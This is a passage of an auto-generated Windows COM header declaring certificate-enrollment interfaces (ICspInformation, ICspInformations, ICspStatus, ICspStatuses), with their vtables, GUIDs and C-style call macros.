_COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspInformation * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspInformation * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspInformation * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspInformation * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromName )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in BSTR strName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromType )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ X509ProviderType Type,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ VARIANT_BOOL MachineContext);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspAlgorithms )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HasHardwareRandomNumberGenerator )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsHardwareDevice )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsRemovable )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsSoftwareDevice )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Valid )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaxKeyContainerNameLength )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Version )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsSmartCard )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDefaultSecurityDescriptor )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in ICspInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatusFromOperations )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        END_INTERFACE\n    } ICspInformationVtbl;\n\n    interface ICspInformation\n    {\n        CONST_VTBL struct ICspInformationVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspInformation_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspInformation_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspInformation_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspInformation_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspInformation_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspInformation_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspInformation_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspInformation_InitializeFromName(This,strName)\t\\\n    ( (This)->lpVtbl -> InitializeFromName(This,strName) ) \n\n#define ICspInformation_InitializeFromType(This,Type,pAlgorithm,MachineContext)\t\\\n    ( (This)->lpVtbl -> InitializeFromType(This,Type,pAlgorithm,MachineContext) ) \n\n#define ICspInformation_get_CspAlgorithms(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspAlgorithms(This,ppValue) ) \n\n#define ICspInformation_get_HasHardwareRandomNumberGenerator(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_HasHardwareRandomNumberGenerator(This,pValue) ) \n\n#define ICspInformation_get_IsHardwareDevice(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsHardwareDevice(This,pValue) ) \n\n#define ICspInformation_get_IsRemovable(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsRemovable(This,pValue) ) \n\n#define ICspInformation_get_IsSoftwareDevice(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsSoftwareDevice(This,pValue) ) \n\n#define ICspInformation_get_Valid(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Valid(This,pValue) ) \n\n#define ICspInformation_get_MaxKeyContainerNameLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MaxKeyContainerNameLength(This,pValue) ) \n\n#define ICspInformation_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define ICspInformation_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define ICspInformation_get_Version(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Version(This,pValue) ) \n\n#define ICspInformation_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define ICspInformation_get_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsSmartCard(This,pValue) ) \n\n#define ICspInformation_GetDefaultSecurityDescriptor(This,MachineContext,pValue)\t\\\n    ( (This)->lpVtbl -> GetDefaultSecurityDescriptor(This,MachineContext,pValue) ) \n\n#define ICspInformation_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define ICspInformation_GetCspStatusFromOperations(This,pAlgorithm,Operations,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusFromOperations(This,pAlgorithm,Operations,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspInformation_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspInformations_INTERFACE_DEFINED__\n#define __ICspInformations_INTERFACE_DEFINED__\n\n/* interface ICspInformations */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspInformations;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab308-217d-11da-b2a4-000e7bbb2b09\")\n    ICspInformations : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspInformation *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE AddAvailableCsps( void) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppCspInformation) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetCspStatusFromProviderName( \n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ X509KeySpec LegacyKeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetCspStatusesFromOperations( \n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEncryptionCspAlgorithms( \n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetHashAlgorithms( \n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspInformationsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspInformations * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspInformations * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspInformations * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspInformations * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspInformations * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspInformations * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspInformations * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *AddAvailableCsps )( \n            __RPC__in ICspInformations * This);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppCspInformation);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetCspStatusFromProviderName )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in BSTR strProviderName,\n            /* [in] */ X509KeySpec LegacyKeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetCspStatusesFromOperations )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEncryptionCspAlgorithms )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetHashAlgorithms )( \n            __RPC__in ICspInformations * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCspInformation,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        END_INTERFACE\n    } ICspInformationsVtbl;\n\n    interface ICspInformations\n    {\n        CONST_VTBL struct ICspInformationsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspInformations_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspInformations_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspInformations_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspInformations_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspInformations_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspInformations_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspInformations_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspInformations_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspInformations_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspInformations_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspInformations_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspInformations_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspInformations_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspInformations_AddAvailableCsps(This)\t\\\n    ( (This)->lpVtbl -> AddAvailableCsps(This) ) \n\n#define ICspInformations_get_ItemByName(This,strName,ppCspInformation)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppCspInformation) ) \n\n#define ICspInformations_GetCspStatusFromProviderName(This,strProviderName,LegacyKeySpec,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusFromProviderName(This,strProviderName,LegacyKeySpec,ppValue) ) \n\n#define ICspInformations_GetCspStatusesFromOperations(This,Operations,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetCspStatusesFromOperations(This,Operations,pCspInformation,ppValue) ) \n\n#define ICspInformations_GetEncryptionCspAlgorithms(This,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetEncryptionCspAlgorithms(This,pCspInformation,ppValue) ) \n\n#define ICspInformations_GetHashAlgorithms(This,pCspInformation,ppValue)\t\\\n    ( (This)->lpVtbl -> GetHashAlgorithms(This,pCspInformation,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspInformations_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspStatus_INTERFACE_DEFINED__\n#define __ICspStatus_INTERFACE_DEFINED__\n\n/* interface ICspStatus */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspStatus;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab309-217d-11da-b2a4-000e7bbb2b09\")\n    ICspStatus : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt ICspInformation *pCsp,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pAlgorithm) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Ordinal( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Ordinal( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspInformation( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentStatus( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DisplayName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspStatusVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspStatus * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspStatus * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspStatus * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspStatus * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ __RPC__in_opt ICspInformation *pCsp,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pAlgorithm);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Ordinal )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Ordinal )( \n            __RPC__in ICspStatus * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspAlgorithm )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformation )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentStatus )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DisplayName )( \n            __RPC__in ICspStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICspStatusVtbl;\n\n    interface ICspStatus\n    {\n        CONST_VTBL struct ICspStatusVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspStatus_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspStatus_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspStatus_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspStatus_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspStatus_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspStatus_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspStatus_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspStatus_Initialize(This,pCsp,pAlgorithm)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pCsp,pAlgorithm) ) \n\n#define ICspStatus_get_Ordinal(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Ordinal(This,pValue) ) \n\n#define ICspStatus_put_Ordinal(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Ordinal(This,Value) ) \n\n#define ICspStatus_get_CspAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspAlgorithm(This,ppValue) ) \n\n#define ICspStatus_get_CspInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformation(This,ppValue) ) \n\n#define ICspStatus_get_EnrollmentStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentStatus(This,ppValue) ) \n\n#define ICspStatus_get_DisplayName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DisplayName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspStatus_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspStatuses_INTERFACE_DEFINED__\n#define __ICspStatuses_INTERFACE_DEFINED__\n\n/* interface ICspStatuses */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspStatuses;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30a-217d-11da-b2a4-000e7bbb2b09\")\n    ICspStatuses : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspStatus *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [helpstring][custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOrdinal( \n            /* [in] */ LONG Ordinal,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOperations( \n            /* [in] */ __RPC__in BSTR strCspName,\n            /* [in] */ __RPC__in BSTR strAlgorithmName,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE 